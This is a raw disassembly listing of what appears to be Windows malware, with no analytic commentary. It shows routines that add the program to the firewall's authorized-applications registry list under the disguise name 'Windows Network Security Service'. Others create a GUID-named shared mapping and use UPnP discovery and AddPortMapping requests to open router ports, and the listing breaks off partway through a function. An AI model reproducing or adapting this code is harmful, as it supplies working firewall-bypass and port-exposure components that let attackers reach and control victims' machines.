; Attributes: bp-based frame
sub_444529 proc near ; CODE XREF: sub_4445B7+98p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24
test eax, eax
jnz short loc_44457B
push [ebp+arg_C]
call sub_449A31
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_44457B: ; CODE XREF: sub_444529+29j
mov esp, ebp
pop ebp
retn
sub_444529 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44457F proc near ; CODE XREF: DMN1:0044469Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30
test eax, eax
jnz short loc_4445B3
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E34
push [ebp+var_4]
call dword_411E2C
loc_4445B3: ; CODE XREF: sub_44457F+1Dj
mov esp, ebp
pop ebp
retn
sub_44457F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4445B7 proc near ; CODE XREF: sub_448AD1:loc_448D02p
var_20A = byte ptr -20Ah
var_105 = byte ptr -105h
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push 104h
lea eax, [ebp+var_105]
push eax
push 0
call dword_411CDC
mov ebx, eax
mov [ebp+ebx+var_105], 0
cmp [ebp+var_105], 0
jz short loc_444657
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
call sub_449A51
pop ecx
pop ecx
push dword_4128A4
lea eax, [ebp+var_105]
push eax
call sub_449A71
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_105]
push eax
call sub_449A71
pop ecx
pop ecx
push offset aWindowsNetwork ; "Windows Network Security Service"
lea eax, [ebp+var_105]
push eax
call sub_449A71
pop ecx
pop ecx
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_444529
add esp, 10h
loc_444657: ; CODE XREF: sub_4445B7+2Fj
pop ebx
mov esp, ebp
pop ebp
retn
sub_4445B7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push 104h
lea eax, [ebp-105h]
push eax
push 0
call dword_411CDC
mov ebx, eax
mov byte ptr [ebp+ebx-105h], 0
cmp byte ptr [ebp-105h], 0
jz short loc_4446A6
lea eax, [ebp-105h]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_44457F
add esp, 0Ch
loc_4446A6: ; CODE XREF: DMN1:0044468Bj
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4446AB proc near ; CODE XREF: sub_4446FD+2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
cmp dword_411008, 0
jnz short loc_4446F8
push 14h
push 40h
call dword_411CE0
mov ebx, eax
push 1
push ebx
call dword_411E38
push 0
push 0
push 1
push ebx
call dword_411E3C
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], 1
mov dword_411008, 1
loc_4446F8: ; CODE XREF: sub_4446AB+Ej
pop ebx
mov esp, ebp
pop ebp
retn
sub_4446AB endp
; =============== S U B R O U T I N E =======================================
sub_4446FD proc near ; CODE XREF: DMN1:00445FDFp
; sub_448AD1+23Fp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
call sub_4446AB
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 100h
push 0
push 4
push offset dword_412928
push 0FFFFFFFFh
call dword_411CE4
mov ebx, eax
test eax, eax
jz short loc_444767
call dword_411CE8
cmp eax, 0B7h
jz short loc_444765
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov esi, eax
test esi, esi
jz short loc_444765
mov ax, [esp+8+arg_0]
mov [esi], ax
mov ax, [esp+8+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0
loc_444765: ; CODE XREF: sub_4446FD+36j
; sub_4446FD+4Ej
mov eax, ebx
loc_444767: ; CODE XREF: sub_4446FD+29j
pop esi
pop ebx
retn
sub_4446FD endp
; =============== S U B R O U T I N E =======================================
sub_44476A proc near ; CODE XREF: DMN1:00445FFBp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
push edi
xor edi, edi
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4
mov ebx, eax
test eax, eax
jz short loc_4447C3
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov esi, eax
test esi, esi
jz short loc_4447BA
mov ax, [esp+0Ch+arg_0]
mov [esi], ax
mov ax, [esp+0Ch+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0
xor edi, edi
inc edi
loc_4447BA: ; CODE XREF: sub_44476A+33j
push ebx
call dword_411CF8
mov eax, edi
loc_4447C3: ; CODE XREF: sub_44476A+1Bj
pop edi
pop esi
pop ebx
retn
sub_44476A endp
; =============== S U B R O U T I N E =======================================
sub_4447C7 proc near ; CODE XREF: DMN1:00446D0Fp
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor si, si
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4
mov ebx, eax
test ebx, ebx
jnz short loc_4447EC
mov eax, 0FFFFh
jmp short loc_44482E
; ---------------------------------------------------------------------------
loc_4447EC: ; CODE XREF: sub_4447C7+1Cj
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov edi, eax
test edi, edi
jz short loc_444824
mov si, [edi]
test si, si
jz short loc_444819
mov edx, [esp+0Ch+arg_0]
mov ax, [edi+2]
mov [edx], ax
jmp short loc_44481D
; ---------------------------------------------------------------------------
loc_444819: ; CODE XREF: sub_4447C7+43j
mov si, 0FFFFh
loc_44481D: ; CODE XREF: sub_4447C7+50j
push edi
call dword_411CF0
loc_444824: ; CODE XREF: sub_4447C7+3Bj
push ebx
call dword_411CF8
movzx eax, si
loc_44482E: ; CODE XREF: sub_4447C7+23j
pop edi
pop esi
pop ebx
retn
sub_4447C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444832 proc near ; CODE XREF: sub_4448CA+2Dp
; sub_444E23+23Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_449A31
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_449A31
pop ecx
mov ebx, eax
jmp short loc_444876
; ---------------------------------------------------------------------------
loc_444858: ; CODE XREF: sub_444832+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC
cmp eax, 2
jnz short loc_444874
mov eax, esi
jmp short loc_44487C
; ---------------------------------------------------------------------------
loc_444874: ; CODE XREF: sub_444832+3Cj
inc esi
dec edi
loc_444876: ; CODE XREF: sub_444832+24j
cmp edi, ebx
jge short loc_444858
xor eax, eax
loc_44487C: ; CODE XREF: sub_444832+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444832 endp
; =============== S U B R O U T I N E =======================================
sub_444883 proc near ; CODE XREF: sub_4448CA+1C4p
; sub_444BB7+12Cp
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
call dword_411CC4
lea esi, [eax+7D0h]
loc_444895: ; CODE XREF: sub_444883+40j
push ebx
call sub_443863
pop ecx
test eax, eax
jle short loc_4448A5
xor eax, eax
inc eax
jmp short loc_4448C7
; ---------------------------------------------------------------------------
loc_4448A5: ; CODE XREF: sub_444883+1Bj
push offset a_ ; "."
call sub_449641
pop ecx
push 12Ch
call dword_411D00
call dword_411CC4
cmp eax, esi
jb short loc_444895
xor eax, eax
loc_4448C7: ; CODE XREF: sub_444883+20j
pop esi
pop ebx
retn
sub_444883 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4448CA proc near ; CODE XREF: sub_444E23+337p
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 468h
push ebx
push esi
push edi
push 10h
push 0
lea eax, [ebp+var_5C]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_5C], 2
xor di, di
push offset aHttp ; "http://"
push [ebp+arg_0]
call sub_444832
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_44490C
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_44490B: ; CODE XREF: sub_4448CA+4Aj
inc ebx
loc_44490C: ; CODE XREF: sub_4448CA+38j
mov al, [ebx]
test al, al
jz short loc_444916
cmp al, 2Fh
jnz short loc_44490B
loc_444916: ; CODE XREF: sub_4448CA+46j
jmp short loc_444919
; ---------------------------------------------------------------------------
loc_444918: ; CODE XREF: sub_4448CA+57j
inc ebx
loc_444919: ; CODE XREF: sub_4448CA:loc_444916j
mov al, [ebx]
test al, al
jz short loc_444923
cmp al, 2Fh
jz short loc_444918
loc_444923: ; CODE XREF: sub_4448CA+53j
xor esi, esi
jmp short loc_44493B
; ---------------------------------------------------------------------------
loc_444927: ; CODE XREF: sub_4448CA+7Dj
cmp esi, 3Fh
jb short loc_444933
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444933: ; CODE XREF: sub_4448CA+60j
mov al, [ebx]
mov [ebp+esi+var_40], al
inc esi
inc ebx
loc_44493B: ; CODE XREF: sub_4448CA+5Bj
mov al, [ebx]
test al, al
jz short loc_444949
cmp al, 3Ah
jz short loc_444949
cmp al, 2Fh
jnz short loc_444927
loc_444949: ; CODE XREF: sub_4448CA+75j
; sub_4448CA+79j
mov [ebp+esi+var_40], 0
cmp byte ptr [ebx], 3Ah
jz short loc_44495A
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_44495A: ; CODE XREF: sub_4448CA+87j
inc ebx
cmp byte ptr [ebx], 0
jnz short loc_444981
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444967: ; CODE XREF: sub_4448CA+C3j
movzx eax, di
lea eax, [eax+eax*4]
add eax, eax
mov di, ax
movzx eax, di
movsx edx, byte ptr [ebx]
sub edx, 30h
add eax, edx
mov di, ax
inc ebx
loc_444981: ; CODE XREF: sub_4448CA+94j
mov al, [ebx]
test al, al
jz short loc_44498F
cmp al, 30h
jl short loc_44498F
cmp al, 39h
jle short loc_444967
loc_44498F: ; CODE XREF: sub_4448CA+BBj
; sub_4448CA+BFj
cmp di, 1
jnb short loc_44499D
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_44499C: ; CODE XREF: sub_4448CA+DBj
inc ebx
loc_44499D: ; CODE XREF: sub_4448CA+C9j
mov al, [ebx]
test al, al
jz short loc_4449A7
cmp al, 2Fh
jnz short loc_44499C
loc_4449A7: ; CODE XREF: sub_4448CA+D7j
cmp byte ptr [ebx], 0
jnz short loc_4449B3
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_4449B3: ; CODE XREF: sub_4448CA+E0j
lea eax, [ebp+var_40]
push eax
call sub_4490E9
mov [ebp+var_58], eax
movzx eax, di
push eax
call sub_4490B9
mov [ebp+var_5A], ax
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
call sub_449641
add esp, 0Ch
push 6
push 1
push 2
call sub_44909B
mov [ebp+var_44], eax
cmp eax, 0FFFFFFFFh
jnz short loc_4449FA
and [ebp+var_44], 0
loc_4449FA: ; CODE XREF: sub_4448CA+12Aj
cmp [ebp+var_44], 0
jnz short loc_444A07
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444A07: ; CODE XREF: sub_4448CA+134j
lea eax, [ebp+var_40]
push eax
call sub_4490E9
movzx edx, di
push edx
push eax
push [ebp+var_44]
call sub_443888
add esp, 0Ch
test eax, eax
jnz short loc_444A34
push [ebp+var_44]
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444A34: ; CODE XREF: sub_4448CA+158j
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push ebx
push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
lea eax, [ebp+var_45C]
push eax
call sub_4496A1
add esp, 14h
lea eax, [ebp+var_45C]
push eax
call sub_449A31
pop ecx
mov [ebp+var_48], eax
push [ebp+var_48]
lea eax, [ebp+var_45C]
push eax
push [ebp+var_44]
call sub_443AA8
add esp, 0Ch
cmp eax, [ebp+var_48]
jz short loc_444A8B
push [ebp+var_44]
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444A8B: ; CODE XREF: sub_4448CA+1AFj
push [ebp+var_44]
call sub_444883
pop ecx
push 10000h
call sub_443369
pop ecx
mov [ebp+var_4C], eax
push 0FFFFh
push [ebp+var_4C]
push [ebp+var_44]
call sub_443A34
add esp, 0Ch
mov [ebp+var_48], eax
test eax, eax
jnz short loc_444AF3
push [ebp+var_44]
call sub_443863
pop ecx
mov [ebp+var_468], eax
cmp eax, 0FFFFh
jle short loc_444ADC
mov [ebp+var_468], 0FFFFh
loc_444ADC: ; CODE XREF: sub_4448CA+206j
push [ebp+var_468]
push [ebp+var_4C]
push [ebp+var_44]
call sub_4439FD
add esp, 0Ch
mov [ebp+var_48], eax
loc_444AF3: ; CODE XREF: sub_4448CA+1F0j
push [ebp+var_48]
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
call sub_449641
add esp, 10h
cmp [ebp+var_48], 1
jge short loc_444B2A
push [ebp+var_4C]
call sub_443397
pop ecx
push [ebp+var_44]
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444BB0
; ---------------------------------------------------------------------------
loc_444B2A: ; CODE XREF: sub_4448CA+245j
push offset asc_40F612 ; "\n"
push [ebp+var_4C]
call sub_449AA1
pop ecx
pop ecx
mov [ebp+var_460], eax
test eax, eax
jnz short loc_444B59
push [ebp+var_4C]
call sub_443397
pop ecx
push [ebp+var_44]
call sub_4437E3
pop ecx
xor eax, eax
jmp short loc_444BB0
; ---------------------------------------------------------------------------
loc_444B59: ; CODE XREF: sub_4448CA+277j
push offset a200 ; "200"
push [ebp+var_4C]
call sub_449AA1
pop ecx
pop ecx
mov [ebp+var_464], eax
test eax, eax
jz short loc_444B7A
cmp eax, [ebp+var_460]
jbe short loc_444B90
loc_444B7A: ; CODE XREF: sub_4448CA+2A6j
push [ebp+var_4C]
call sub_443397
pop ecx
push [ebp+var_44]
call sub_4437E3
pop ecx
xor eax, eax
jmp short loc_444BB0
; ---------------------------------------------------------------------------
loc_444B90: ; CODE XREF: sub_4448CA+2AEj
push [ebp+var_44]
call sub_4437E3
pop ecx
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_449A51
pop ecx
pop ecx
mov edx, [ebp+arg_8]
mov [edx], di
mov eax, [ebp+var_4C]
loc_444BB0: ; CODE XREF: sub_4448CA+3Cj
; sub_4448CA+64j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4448CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444BB7 proc near ; CODE XREF: sub_444E23+50Fp
; sub_444E23+53Dp
var_2014 = dword ptr -2014h
var_2010 = dword ptr -2010h
var_200C = dword ptr -200Ch
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
arg_14 = word ptr 1Ch
push ebp
mov ebp, esp
mov eax, 2014h
call sub_449B11
push ebx
push esi
push edi
movzx eax, [ebp+arg_10]
push eax
movzx eax, [ebp+arg_14]
push eax
push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
lea eax, [ebp+var_2008]
push eax
call sub_4496A1
add esp, 10h
lea eax, [ebp+var_2008]
push eax
call sub_449A31
pop ecx
mov [ebp+var_200C], eax
cmp [ebp+arg_0], 0
jz short loc_444C25
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
lea eax, [ebp+var_1008]
push eax
call sub_4496A1
add esp, 18h
jmp short loc_444C4A
; ---------------------------------------------------------------------------
loc_444C25: ; CODE XREF: sub_444BB7+45j
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
lea eax, [ebp+var_1008]
push eax
call sub_4496A1
add esp, 18h
loc_444C4A: ; CODE XREF: sub_444BB7+6Cj
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push eax
call sub_449A71
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
call sub_449641
add esp, 0Ch
call sub_44367A
mov edi, eax
test eax, eax
jz loc_444E1C
push [ebp+arg_4]
call sub_4490E9
movzx edx, [ebp+arg_8]
push edx
push eax
push edi
call sub_443888
add esp, 0Ch
test eax, eax
jnz short loc_444CAC
push edi
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444E1C
; ---------------------------------------------------------------------------
loc_444CAC: ; CODE XREF: sub_444BB7+E5j
lea eax, [ebp+var_1008]
push eax
call sub_449A31
pop ecx
mov [ebp+var_4], eax
push [ebp+var_4]
lea eax, [ebp+var_1008]
push eax
push edi
call sub_443AA8
add esp, 0Ch
cmp eax, [ebp+var_4]
jz short loc_444CE2
push edi
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444E1C
; ---------------------------------------------------------------------------
loc_444CE2: ; CODE XREF: sub_444BB7+11Bj
push edi
call sub_444883
pop ecx
push 10000h
call sub_443369
pop ecx
mov [ebp+var_8], eax
push 0FFFFh
push [ebp+var_8]
push edi
call sub_443A34
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jnz short loc_444D42
push edi
call sub_443863
pop ecx
mov [ebp+var_2014], eax
cmp eax, 0FFFFh
jle short loc_444D2D
mov [ebp+var_2014], 0FFFFh
loc_444D2D: ; CODE XREF: sub_444BB7+16Aj
push [ebp+var_2014]
push [ebp+var_8]
push edi
call sub_4439FD
add esp, 0Ch
mov [ebp+var_4], eax
loc_444D42: ; CODE XREF: sub_444BB7+156j
push [ebp+var_4]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
call sub_449641
add esp, 10h
cmp [ebp+var_4], 1
jge short loc_444D77
push [ebp+var_8]
call sub_443397
pop ecx
push edi
call sub_4437E3
pop ecx
xor eax, eax
jmp loc_444E1C
; ---------------------------------------------------------------------------
loc_444D77: ; CODE XREF: sub_444BB7+1A7j
push offset asc_40F612 ; "\n"
push [ebp+var_8]
call sub_449AA1
pop ecx
pop ecx
mov [ebp+var_2010], eax
test eax, eax
jnz short loc_444DA4
push [ebp+var_8]
call sub_443397
pop ecx
push edi
call sub_4437E3
pop ecx
xor eax, eax
jmp short loc_444E1C
; ---------------------------------------------------------------------------
loc_444DA4: ; CODE XREF: sub_444BB7+1D7j
mov ebx, [ebp+var_8]
jmp short loc_444DAA
; ---------------------------------------------------------------------------
loc_444DA9: ; CODE XREF: sub_444BB7+1FBj
inc ebx
loc_444DAA: ; CODE XREF: sub_444BB7+1F0j
mov al, [ebx]
test al, al
jz short loc_444DB4
cmp al, 20h
jnz short loc_444DA9
loc_444DB4: ; CODE XREF: sub_444BB7+1F7j
jmp short loc_444DB7
; ---------------------------------------------------------------------------
loc_444DB6: ; CODE XREF: sub_444BB7+208j
inc ebx
loc_444DB7: ; CODE XREF: sub_444BB7:loc_444DB4j
mov al, [ebx]
test al, al
jz short loc_444DC1
cmp al, 20h
jz short loc_444DB6
loc_444DC1: ; CODE XREF: sub_444BB7+204j
xor esi, esi
jmp short loc_444DD5
; ---------------------------------------------------------------------------
loc_444DC5: ; CODE XREF: sub_444BB7+22Aj
lea esi, [esi+esi*4]
add esi, esi
movsx eax, byte ptr [ebx]
sub eax, 30h
add esi, eax
inc ebx
jmp short loc_444DE3
; ---------------------------------------------------------------------------
loc_444DD5: ; CODE XREF: sub_444BB7+20Cj
mov al, [ebx]
test al, al
jz short loc_444DE3
cmp al, 30h
jl short loc_444DE3
cmp al, 39h
jle short loc_444DC5
loc_444DE3: ; CODE XREF: sub_444BB7+21Cj
; sub_444BB7+222j ...
push esi
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
call sub_449641
add esp, 10h
cmp esi, 2
jz short loc_444E12
push [ebp+var_8]
call sub_443397
pop ecx
push edi
call sub_4437E3
pop ecx
xor eax, eax
jmp short loc_444E1C
; ---------------------------------------------------------------------------
loc_444E12: ; CODE XREF: sub_444BB7+245j
push edi
call sub_4437E3
pop ecx
xor eax, eax
inc eax
loc_444E1C: ; CODE XREF: sub_444BB7+C6j
; sub_444BB7+F0j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444BB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444E23 proc near ; CODE XREF: DMN1:004458F7p
; DMN1:00446E41p
var_18A0 = dword ptr -18A0h
var_189C = byte ptr -189Ch
var_188C = dword ptr -188Ch
var_1888 = dword ptr -1888h
var_1884 = dword ptr -1884h
var_187E = byte ptr -187Eh
var_183E = word ptr -183Eh
var_183C = dword ptr -183Ch
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_181C = word ptr -181Ch
var_181A = word ptr -181Ah
var_1818 = dword ptr -1818h
var_1809 = byte ptr -1809h
var_1409 = byte ptr -1409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, 18A0h
call sub_449B11
push ebx
push esi
push edi
mov [ebp+var_1820], 3E8h
cmp [ebp+arg_0], 0
jnz short loc_444E4C
mov ax, [ebp+arg_4]
mov [ebp+arg_0], ax
loc_444E4C: ; CODE XREF: sub_444E23+1Fj
push 10h
push 0
lea eax, [ebp+var_181C]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_181C], 2
push offset a239_255_255_25 ; "239.255.255.250"
call sub_4490E9
mov [ebp+var_1818], eax
push 76Ch
call sub_4490B9
mov [ebp+var_181A], ax
mov [ebp+var_404], 1
push 11h
push 2
push 2
call sub_44909B
mov [ebp+var_408], eax
and [ebp+var_1828], 0
mov [ebp+var_1824], 1
push offset a239_255_255_25 ; "239.255.255.250"
call sub_4490E9
mov [ebp+var_1828], eax
push 8
lea eax, [ebp+var_1828]
push eax
push 5
push 0
mov eax, [ebp+var_408]
push eax
call sub_4490A1
test eax, eax
jge short loc_444EED
push offset aShit ; "shit!\n"
call sub_449641
pop ecx
loc_444EED: ; CODE XREF: sub_444E23+BDj
lea eax, [ebp+var_181C]
mov [ebp+var_182C], eax
push 10h
push [ebp+var_182C]
mov eax, [ebp+var_408]
push eax
call sub_4490C5
cmp eax, 0FFFFFFFFh
jnz loc_4453A3
push offset aXbind___ ; "xbind...\n"
call sub_449641
pop ecx
jmp loc_4453A3
; ---------------------------------------------------------------------------
loc_444F26: ; CODE XREF: sub_444E23+587j
mov [ebp+var_1884], 10h
push [ebp+var_404]
push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"...
call sub_449641
pop ecx
pop ecx
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
call sub_449A31
pop ecx
push 10h
lea edx, [ebp+var_181C]
push edx
push 0
push eax
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
mov eax, [ebp+var_408]
push eax
call sub_449107
test eax, eax
jge short loc_444F81
mov eax, [ebp+var_408]
push eax
call sub_4490A7
xor eax, eax
jmp loc_4453BE
; ---------------------------------------------------------------------------
loc_444F81: ; CODE XREF: sub_444E23+149j
push [ebp+var_404]
push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
call sub_449641
pop ecx
pop ecx
push 4
lea eax, [ebp+var_1820]
push eax
push 1006h
push 0FFFFh
mov eax, [ebp+var_408]
push eax
call sub_4490A1
test eax, eax
jge short loc_444FC9
mov eax, [ebp+var_408]
push eax
call sub_4490A7
xor eax, eax
jmp loc_4453BE
; ---------------------------------------------------------------------------
loc_444FC9: ; CODE XREF: sub_444E23+191j
push [ebp+var_404]
push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
call sub_449641
pop ecx
pop ecx
lea eax, [ebp+var_1884]
push eax
lea eax, [ebp+var_189C]
push eax
push 0
push 1000h
lea eax, [ebp+var_1409]
push eax
mov eax, [ebp+var_408]
push eax
call sub_44910D
test eax, eax
jge short loc_445033
call sub_449113
cmp eax, 274Ch
jnz short loc_445020
cmp [ebp+var_404], 3
jnz loc_44539D
loc_445020: ; CODE XREF: sub_444E23+1EEj
mov eax, [ebp+var_408]
push eax
call sub_4490A7
xor eax, eax
jmp loc_4453BE
; ---------------------------------------------------------------------------
loc_445033: ; CODE XREF: sub_444E23+1E2j
mov eax, [ebp+var_1884]
mov [ebp+eax+var_1409], 0
push [ebp+var_404]
push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"...
call sub_449641
pop ecx
pop ecx
push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
lea eax, [ebp+var_1409]
push eax
call sub_444832
pop ecx
pop ecx
test eax, eax
jnz short loc_445081
push [ebp+var_404]
push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."...
call sub_449641
pop ecx
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_445081: ; CODE XREF: sub_444E23+245j
push offset aLocation ; "location"
lea eax, [ebp+var_1409]
push eax
call sub_444832
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_4450B2
push [ebp+var_404]
push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."...
call sub_449641
pop ecx
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_4450B1: ; CODE XREF: sub_444E23+297j
inc ebx
loc_4450B2: ; CODE XREF: sub_444E23+275j
mov al, [ebx]
test al, al
jz short loc_4450BC
cmp al, 3Ah
jnz short loc_4450B1
loc_4450BC: ; CODE XREF: sub_444E23+293j
cmp byte ptr [ebx], 0
jz short loc_4450C5
inc ebx
jmp short loc_4450C5
; ---------------------------------------------------------------------------
loc_4450C4: ; CODE XREF: sub_444E23+2AAj
inc ebx
loc_4450C5: ; CODE XREF: sub_444E23+29Cj
; sub_444E23+29Fj
mov al, [ebx]
test al, al
jz short loc_4450CF
cmp al, 20h
jz short loc_4450C4
loc_4450CF: ; CODE XREF: sub_444E23+2A6j
lea eax, [ebp+var_1809]
mov [ebp+var_1834], eax
jmp short loc_4450EE
; ---------------------------------------------------------------------------
loc_4450DD: ; CODE XREF: sub_444E23+2D3j
mov edx, [ebp+var_1834]
mov al, [ebx]
mov [edx], al
inc [ebp+var_1834]
inc ebx
loc_4450EE: ; CODE XREF: sub_444E23+2B8j
mov al, [ebx]
test al, al
jz short loc_4450F8
cmp al, 20h
jg short loc_4450DD
loc_4450F8: ; CODE XREF: sub_444E23+2CFj
mov edx, [ebp+var_1834]
mov byte ptr [edx], 0
lea eax, [ebp+var_1809]
push eax
call sub_449A31
pop ecx
test eax, eax
jnz short loc_445129
push [ebp+var_404]
push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."...
call sub_449641
pop ecx
pop ecx
jmp loc_44539D
